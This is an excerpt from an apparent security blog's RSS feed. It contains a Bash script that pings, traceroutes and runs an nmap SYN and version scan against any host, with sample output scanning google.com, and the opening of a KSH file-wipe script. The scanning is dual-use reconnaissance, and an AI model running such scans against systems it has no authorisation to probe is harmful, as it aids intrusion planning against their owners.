class="a2a_button_technorati_favorites" href="http://www.addtoany.com/add_to/technorati_favorites?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Technorati Favorites" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/technorati.png" width="16" height="16" alt="Technorati Favorites"/></a><a class="a2a_button_stumbleupon" href="http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="StumbleUpon" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/stumbleupon.png" width="16" height="16" alt="StumbleUpon"/></a><a class="a2a_button_blogger_post" href="http://www.addtoany.com/add_to/blogger_post?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Blogger Post" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/blogger.png" width="16" height="16" alt="Blogger Post"/></a><a class="a2a_button_yahoo_bookmarks" href="http://www.addtoany.com/add_to/yahoo_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Yahoo Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/yahoo.png" width="16" height="16" alt="Yahoo Bookmarks"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;title=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" id="wpa2a_4"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Can I reach it? Small Script for Network Connectivity Test</title>
		<link>http://hackarandas.com/blog/2010/08/23/can-i-reach-it-small-script-for-network-connectivity-test/</link>
		<comments>http://hackarandas.com/blog/2010/08/23/can-i-reach-it-small-script-for-network-connectivity-test/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 15:00:30 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[c0de]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[traceroute]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=308</guid>
		<description><![CDATA[I made this script so I can replicate a network connection test to some host. It&#8217;s really small but it works in all the cases and has some nice features as internal and external IP detection. It works in Linux, ideal for a pentest using Backtrack. Here is the Bash code. #!/bin/bash # Script by [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/blog/wp-content/uploads/2010/08/network-150x150.jpg" alt="" title="Network" width="100" height="100" class="alignleft size-thumbnail wp-image-309" style="margin: 10px 10px 0pt 0pt; float: left;" /> I made this script so I can replicate a network connection test to some host. It&#8217;s really small but it works in all the cases and has some nice features as internal and external IP detection. It works in Linux, ideal for a pentest using Backtrack. </p>
<p>Here is the Bash code.</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="re3">#!/bin/bash</span><br />
<span class="re3"># Script by Adrian Puente Z..</span><br />
<span class="re3"># Powered by Hackarandas www.hackarandas.com</span><br />
<span class="re3"># Licensed by GNU GPLv3</span><br />
<span class="re3"># http://www.gnu.org/licenses/gpl<span class="nu0">-3.0</span>.txt</span></p>
<p><span class="br0">&#91;</span> `<span class="kw2">id</span> -u` -ne <span class="nu0">0</span> <span class="br0">&#93;</span> &amp;&amp; <span class="kw3">echo</span> <span class="st0">&quot;Only root can do that! sudoing&#8230;&quot;</span> <br />
<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="st0">&quot;$EUID&quot;</span> != <span class="nu0">0</span> <span class="br0">&#93;</span>; <span class="kw1">then</span> <span class="kw2">sudo</span> `<span class="kw2">which</span> $<span class="nu0">0</span>` $@; <span class="kw3">exit</span>; <span class="kw1">fi</span></p>
<p><span class="br0">&#91;</span> <span class="re4">$#</span> -eq <span class="nu0">0</span> <span class="br0">&#93;</span> &amp;&amp; <span class="kw3">echo</span> &nbsp;<span class="st0">&quot;Syntax: `basename $0` &lt;host&gt;&quot;</span> &amp;&amp; <span class="kw3">exit</span> <span class="nu0">0</span></p>
<p><span class="re3"># Setting the host from the first argument.</span><br />
<span class="re2">HOST=</span>$<span class="nu0">1</span><br />
<span class="re3"># Maximun hops <span class="kw1">for</span> traceroute.</span><br />
<span class="re2">HOPS=</span><span class="nu0">15</span><br />
<span class="re3"># Maximun packet <span class="kw1">for</span> <span class="kw2">ping</span>.</span><br />
<span class="re2">PCOUNT=</span><span class="nu0">3</span></p>
<p><span class="re2">IFACE=</span>`route -vn | <span class="kw2">grep</span> UG | <span class="kw2">sed</span> <span class="st0">&#8216;s/<span class="es0">\ </span><span class="es0">\ </span>*/<span class="es0">\ </span>/g&#8217;</span> | <span class="kw2">cut</span> -d<span class="st0">&#8216; &#8216;</span> -f8`<br />
<span class="re2">INTIP=</span>`ifconfig <span class="re0">$<span class="br0">&#123;</span>IFACE<span class="br0">&#125;</span></span> | <span class="kw2">grep</span> <span class="st0">&quot;inet addr&quot;</span> | <span class="kw2">tr</span> <span class="st0">&#8216; &#8216;</span> <span class="st0">&#8216;:&#8217;</span> | <span class="kw2">cut</span> -d<span class="st0">&#8216;:&#8217;</span> -f13`</p>
<p><span class="re3"># Choose the method you like most.</span><br />
<span class="re3">#<span class="re2">EXTIP=</span>`<span class="kw2">lynx</span> &#8211;<span class="kw3">source</span> http://www.whatismyip.org`</span><br />
<span class="re3">#<span class="re2">EXTIP=</span>`<span class="kw2">wget</span> -q http://www.whatismyip.org -O-`</span><br />
<span class="re2">EXTIP=</span>`curl -q http://www.whatismyip.org <span class="nu0">2</span>&gt;/dev/null`</p>
<p><span class="kw3">echo</span> <span class="st0">&quot;&#8212; Internal IP: ${INTIP} &#8212;&quot;</span><br />
<span class="kw3">echo</span> <span class="st0">&quot;&#8212; External IP: ${EXTIP} &#8212;&quot;</span><br />
<span class="kw3">echo</span> -e <span class="st0">&quot;<span class="es0">\n</span>&#8212; Pinging&#8230;<span class="es0">\n</span>&quot;</span><br />
<span class="kw2">ping</span> -c <span class="re0">$<span class="br0">&#123;</span>PCOUNT<span class="br0">&#125;</span></span> <span class="re0">$<span class="br0">&#123;</span>HOST<span class="br0">&#125;</span></span><br />
<span class="kw3">echo</span> -e <span class="st0">&quot;<span class="es0">\n</span>&#8212; Doing traceroute&#8230;<span class="es0">\n</span>&quot;</span><br />
traceroute -m <span class="re0">$<span class="br0">&#123;</span>HOPS<span class="br0">&#125;</span></span> <span class="re0">$<span class="br0">&#123;</span>HOST<span class="br0">&#125;</span></span><br />
<span class="kw3">echo</span> -e <span class="st0">&quot;<span class="es0">\n</span>&#8212; Checking open ports&#8230;<span class="es0">\n</span>&quot;</span><br />
<span class="kw2">nmap</span> -sSV -PN <span class="re0">$<span class="br0">&#123;</span>HOST<span class="br0">&#125;</span></span><br />
<span class="kw3">echo</span> -e <span class="st0">&quot;<span class="es0">\n</span>&#8212; Test finished&#8230;&quot;</span></div>
<p>You can change the parameters to fit your needs.</p>
<p>Here is an example.</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; &nbsp; &#8211;.^ &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>ch0ks@xipe<span class="br0">&#41;</span>*<span class="br0">&#40;</span><span class="nu0">18</span>:<span class="nu0">30</span>:<span class="nu0">27</span><span class="br0">&#41;</span>*<span class="br0">&#40;</span>bin<span class="br0">&#41;</span> &nbsp; &nbsp; &nbsp;^.&#8211;<br />
-=:<span class="br0">&#41;</span>&gt; checkconnection.<span class="me1">sh</span> www.<span class="me1">google</span>.<span class="me1">com</span><br />
Only root can <span class="kw1">do</span> that! sudoing&#8230;<br />
&#8212; Internal IP: <span class="nu0">192.168</span><span class="nu0">.11</span><span class="nu0">.5</span> &#8212;<br />
&#8212; External IP: A.<span class="me1">B</span>.<span class="me1">C</span>.<span class="me1">D</span> &#8212;</p>
<p>&#8212; Pinging&#8230;</p>
<p><span class="me1">PING</span> www.<span class="me1">l</span>.<span class="me1">google</span>.<span class="me1">com</span> <span class="br0">&#40;</span><span class="nu0">74.125</span><span class="nu0">.95</span><span class="nu0">.106</span><span class="br0">&#41;</span> <span class="nu0">56</span><span class="br0">&#40;</span><span class="nu0">84</span><span class="br0">&#41;</span> bytes of data.<br />
<span class="nu0">64</span> bytes from iw-in-f106.1e100.<span class="me1">net</span> <span class="br0">&#40;</span><span class="nu0">74.125</span><span class="nu0">.95</span><span class="nu0">.106</span><span class="br0">&#41;</span>: icmp_seq=<span class="nu0">1</span> ttl=<span class="nu0">51</span> time=<span class="nu0">67.2</span> ms<br />
<span class="nu0">64</span> bytes from iw-in-f106.1e100.<span class="me1">net</span> <span class="br0">&#40;</span><span class="nu0">74.125</span><span class="nu0">.95</span><span class="nu0">.106</span><span class="br0">&#41;</span>: icmp_seq=<span class="nu0">2</span> ttl=<span class="nu0">51</span> time=<span class="nu0">65.8</span> ms<br />
<span class="nu0">64</span> bytes from iw-in-f106.1e100.<span class="me1">net</span> <span class="br0">&#40;</span><span class="nu0">74.125</span><span class="nu0">.95</span><span class="nu0">.106</span><span class="br0">&#41;</span>: icmp_seq=<span class="nu0">3</span> ttl=<span class="nu0">51</span> time=<span class="nu0">66.3</span> ms</p>
<p>&#8212; www.<span class="me1">l</span>.<span class="me1">google</span>.<span class="me1">com</span> ping statistics &#8212;<br />
<span class="nu0">3</span> packets transmitted, <span class="nu0">3</span> received, <span class="nu0">0</span>% packet loss, time 2004ms<br />
rtt min/avg/max/mdev = <span class="nu0">65.895</span>/<span class="nu0">66.490</span>/<span class="nu0">67.223</span>/<span class="nu0">0.626</span> ms</p>
<p>&#8212; Making traceroute&#8230;</p>
<p><span class="me1">traceroute</span> to www.<span class="me1">google</span>.<span class="me1">com</span> <span class="br0">&#40;</span><span class="nu0">74.125</span><span class="nu0">.95</span><span class="nu0">.103</span><span class="br0">&#41;</span>, <span class="nu0">15</span> hops max, <span class="nu0">60</span> byte packets<br />
&nbsp;<span class="nu0">1</span> &nbsp;leviatan <span class="br0">&#40;</span><span class="nu0">192.168</span><span class="nu0">.11</span><span class="nu0">.250</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">1.385</span> ms &nbsp;<span class="nu0">1.465</span> ms &nbsp;<span class="nu0">1.492</span> ms<br />
&nbsp;<span class="nu0">2</span> &nbsp;<span class="nu0">201.159</span><span class="nu0">.131</span><span class="nu0">.205</span> <span class="br0">&#40;</span>A.<span class="me1">B</span>.<span class="me1">C</span>.<span class="me1">D</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">5.463</span> ms &nbsp;<span class="nu0">5.511</span> ms &nbsp;<span class="nu0">5.519</span> ms<br />
&nbsp;<span class="nu0">3</span> &nbsp;<span class="nu0">192.168</span><span class="nu0">.1</span><span class="nu0">.98</span> <span class="br0">&#40;</span><span class="nu0">192.168</span><span class="nu0">.1</span><span class="nu0">.98</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">5.648</span> ms &nbsp;<span class="nu0">5.710</span> ms &nbsp;<span class="nu0">5.970</span> ms<br />
&nbsp;<span class="nu0">4</span> &nbsp;customer<span class="nu0">-58</span>.<span class="me1">xertix</span>.<span class="me1">com</span> <span class="br0">&#40;</span><span class="nu0">201.159</span><span class="nu0">.136</span><span class="nu0">.58</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">6.000</span> ms &nbsp;<span class="nu0">6.067</span> ms &nbsp;<span class="nu0">6.208</span> ms<br />
&nbsp;<span class="nu0">5</span> &nbsp;na<span class="nu0">-200</span><span class="nu0">-78</span><span class="nu0">-191</span><span class="nu0">-129</span>.<span class="kw4">static</span>.<span class="me1">avantel</span>.<span class="me1">net</span>.<span class="me1">mx</span> <span class="br0">&#40;</span><span class="nu0">200.78</span><span class="nu0">.191</span><span class="nu0">.129</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">8.204</span> ms &nbsp;<span class="nu0">8.264</span> ms &nbsp;<span class="nu0">8.456</span> ms<br />
&nbsp;<span class="nu0">6</span> &nbsp;dial<span class="nu0">-200</span><span class="nu0">-39</span><span class="nu0">-225</span><span class="nu0">-125</span>.<span class="me1">zone</span><span class="nu0">-1</span>.<span class="me1">ip</span>.<span class="me1">dial</span>.<span class="me1">net</span>.<span class="me1">mx</span> <span class="br0">&#40;</span><span class="nu0">200.39</span><span class="nu0">.225</span><span class="nu0">.125</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">8.617</span> ms &nbsp;<span class="nu0">6.470</span> ms &nbsp;<span class="nu0">6.654</span> ms<br />
&nbsp;<span class="nu0">7</span> &nbsp;pos1<span class="nu0">-0</span>.<span class="me1">cr02</span>.<span class="me1">mca01</span>.<span class="me1">pccwbtn</span>.<span class="me1">net</span> <span class="br0">&#40;</span><span class="nu0">63.218</span><span class="nu0">.161</span><span class="nu0">.69</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">20.646</span> ms &nbsp;<span class="nu0">20.614</span> ms &nbsp;<span class="nu0">20.039</span> ms<br />
&nbsp;<span class="nu0">8</span> &nbsp;TenGE12<span class="nu0">-1</span>.<span class="me1">br02</span>.<span class="me1">dal01</span>.<span class="me1">pccwbtn</span>.<span class="me1">net</span> <span class="br0">&#40;</span><span class="nu0">63.218</span><span class="nu0">.22</span><span class="nu0">.82</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">303.761</span> ms * *<br />
&nbsp;<span class="nu0">9</span> &nbsp;google.<span class="me1">tenge11</span><span class="nu0">-4</span>.<span class="me1">br02</span>.<span class="me1">dal01</span>.<span class="me1">pccwbtn</span>.<span class="me1">net</span> <span class="br0">&#40;</span><span class="nu0">63.218</span><span class="nu0">.23</span><span class="nu0">.118</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">33.544</span> ms &nbsp;<span class="nu0">34.331</span> ms &nbsp;<span class="nu0">34.501</span> ms<br />
<span class="nu0">10</span> &nbsp;<span class="nu0">72.14</span><span class="nu0">.233</span><span class="nu0">.85</span> <span class="br0">&#40;</span><span class="nu0">72.14</span><span class="nu0">.233</span><span class="nu0">.85</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">61.329</span> ms <span class="nu0">72.14</span><span class="nu0">.233</span><span class="nu0">.77</span> <span class="br0">&#40;</span><span class="nu0">72.14</span><span class="nu0">.233</span><span class="nu0">.77</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">61.388</span> ms &nbsp;<span class="nu0">61.520</span> ms<br />
<span class="nu0">11</span> &nbsp;<span class="nu0">216.239</span><span class="nu0">.47</span><span class="nu0">.121</span> <span class="br0">&#40;</span><span class="nu0">216.239</span><span class="nu0">.47</span><span class="nu0">.121</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">69.114</span> ms &nbsp;<span class="nu0">69.800</span> ms &nbsp;<span class="nu0">69.511</span> ms<br />
<span class="nu0">12</span> &nbsp;<span class="nu0">209.85</span><span class="nu0">.253</span><span class="nu0">.173</span> <span class="br0">&#40;</span><span class="nu0">209.85</span><span class="nu0">.253</span><span class="nu0">.173</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">68.657</span> ms <span class="nu0">209.85</span><span class="nu0">.255</span><span class="nu0">.223</span> <span class="br0">&#40;</span><span class="nu0">209.85</span><span class="nu0">.255</span><span class="nu0">.223</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">67.482</span> ms <span class="nu0">209.85</span><span class="nu0">.253</span><span class="nu0">.173</span> <span class="br0">&#40;</span><span class="nu0">209.85</span><span class="nu0">.253</span><span class="nu0">.173</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">68.568</span> ms<br />
<span class="nu0">13</span> &nbsp;<span class="nu0">209.85</span><span class="nu0">.241</span><span class="nu0">.29</span> <span class="br0">&#40;</span><span class="nu0">209.85</span><span class="nu0">.241</span><span class="nu0">.29</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">66.212</span> ms &nbsp;<span class="nu0">66.150</span> ms &nbsp;<span class="nu0">66.263</span> ms<br />
<span class="nu0">14</span> &nbsp;iw-in-f103.1e100.<span class="me1">net</span> <span class="br0">&#40;</span><span class="nu0">74.125</span><span class="nu0">.95</span><span class="nu0">.103</span><span class="br0">&#41;</span> &nbsp;<span class="nu0">65.803</span> ms &nbsp;<span class="nu0">65.757</span> ms &nbsp;<span class="nu0">65.991</span> ms</p>
<p>&#8212; Checking open ports&#8230;</p>
<p><span class="me1">Starting</span> Nmap <span class="nu0">5.00</span> <span class="br0">&#40;</span> http:<span class="co1">//nmap.org ) at 2010-08-20 18:31 CDT</span><br />
Warning: Hostname www.<span class="me1">google</span>.<span class="me1">com</span> resolves to <span class="nu0">6</span> IPs. <span class="me1">Using</span> <span class="nu0">74.125</span><span class="nu0">.95</span><span class="nu0">.104</span>.<br />
<span class="me1">Interesting</span> ports on iw-in-f104.1e100.<span class="me1">net</span> <span class="br0">&#40;</span><span class="nu0">74.125</span><span class="nu0">.95</span><span class="nu0">.104</span><span class="br0">&#41;</span>:<br />
Not shown: <span class="nu0">996</span> filtered ports<br />
PORT &nbsp; &nbsp;STATE &nbsp;SERVICE &nbsp;VERSION<br />
<span class="nu0">21</span>/tcp &nbsp;open &nbsp; ftp?<br />
<span class="nu0">80</span>/tcp &nbsp;open &nbsp; http &nbsp; &nbsp; Google httpd <span class="nu0">2.0</span> <span class="br0">&#40;</span>GFE<span class="br0">&#41;</span><br />
<span class="nu0">113</span>/tcp closed auth<br />
<span class="nu0">443</span>/tcp open &nbsp; ssl/http Google httpd <span class="nu0">2.0</span> <span class="br0">&#40;</span>GFE<span class="br0">&#41;</span><br />
Service Info: OS: Linux</p>
<p>Service detection performed. <span class="me1">Please</span> report any incorrect results at http:<span class="co1">//nmap.org/submit/ .</span><br />
Nmap done: <span class="nu0">1</span> IP address <span class="br0">&#40;</span><span class="nu0">1</span> host up<span class="br0">&#41;</span> scanned in <span class="nu0">127.81</span> seconds</p>
<p>&#8212; Test finished&#8230;</p></div>
<p>I hope you liked and helped. You can also visit other scripts and projects I have <a href="http://hackarandas.com/hacking-projects/">here</a>. And please, leave your comments.</p>
<p><strong>Adrián Puente Z.</strong></p>
<p><a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>, <a href="http://www.technorati.com/tag/Hackarandas" rel="tag">Hackarandas</a>, <a href="http://www.technorati.com/tag/Security" rel="tag">Security</a>, <a href="http://www.technorati.com/tag/Network+Test" rel="tag">Network Test</a>, <a href="http://www.technorati.com/tag/ping" rel="tag">ping</a>, <a href="http://www.technorati.com/tag/traceroute" rel="tag">traceroute</a></p>
<p><a class="a2a_button_slashdot" href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Slashdot" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Tumblr" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="WordPress" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Twitter" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_linkedin" href="http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="LinkedIn" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/linkedin.png" width="16" height="16" alt="LinkedIn"/></a><a class="a2a_button_google_bookmarks" href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Facebook" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Google Reader" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Digg" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Meneame" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_technorati_favorites" href="http://www.addtoany.com/add_to/technorati_favorites?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Technorati Favorites" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/technorati.png" width="16" height="16" alt="Technorati Favorites"/></a><a class="a2a_button_stumbleupon" href="http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="StumbleUpon" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/stumbleupon.png" width="16" height="16" alt="StumbleUpon"/></a><a class="a2a_button_blogger_post" href="http://www.addtoany.com/add_to/blogger_post?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Blogger Post" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/blogger.png" width="16" height="16" alt="Blogger Post"/></a><a class="a2a_button_yahoo_bookmarks" href="http://www.addtoany.com/add_to/yahoo_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Yahoo Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/yahoo.png" width="16" height="16" alt="Yahoo Bookmarks"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;title=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" id="wpa2a_6"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/08/23/can-i-reach-it-small-script-for-network-connectivity-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Uncomplicated File Wipe for *NIX</title>
		<link>http://hackarandas.com/blog/2010/08/17/uncomplicated-wipe-for-nix/</link>
		<comments>http://hackarandas.com/blog/2010/08/17/uncomplicated-wipe-for-nix/#comments</comments>
		<pubDate>Wed, 18 Aug 2010 01:59:02 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[c0de]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[ksh]]></category>
		<category><![CDATA[secure delete]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[wipe]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=285</guid>
		<description><![CDATA[We needed to guarantee to one of our customers that a file will be securely deleted. Since the server was a HPUX Unix and we can&#8217;t compile nor install new applications, I managed to write this script to wipe the file. The file is overwritten 7 times as the US Department of Defense clearing standard [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/blog/wp-content/uploads/2010/08/file-shredding_medium.jpeg" alt="" title="File Shredding" width="193" height="240" class="alignleft size-full wp-image-291" style="margin: 10px 10px 0pt 0pt; float: left;" /> We needed to guarantee to one of our customers that a file will be securely deleted. Since the server was a HPUX Unix and we can&#8217;t compile nor install new applications, I managed to write this script to wipe the file.</p>
<p>The file is overwritten 7 times as the <a href="http://www.usaid.gov/policy/ads/500/d522022m.pdf">US Department of Defense clearing standard DoD 5220.22-M</a> specifies and renamed another 7 times before being deleted. It is written for the KSH shell as many UNIX has it by default. It doesn&#8217;t  run in bash but you can edit it to fit your needs.</p>
<p>Here is the code:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="re3">#!/usr/bin/ksh</span><br />
<span class="re3"># Script by Adrian Puente Z..</span><br />
<span class="re3"># Powered by Hackarandas www.hackarandas.com</span><br />
<span class="re3"># Licensed by GNU GPLv3</span><br />
<span class="re3"># http://www.gnu.org/licenses/gpl<span class="nu0">-3.0</span>.txt</span></p>
<p><span class="re3"># US Department of Defense clearing standard DOD <span class="nu0">5220.22</span>-M <span class="br0">&#40;</span>ECE<span class="br0">&#41;</span></span><br />
<span class="re2">PASES=</span><span class="nu0">7</span><br />
<span class="re3"># Device to overwrite the <span class="kw2">file</span>.</span><br />
<span class="re3"># Can be:</span><br />
<span class="re3"># /dev/random</span><br />
<span class="re3"># /dev/urandom</span><br />
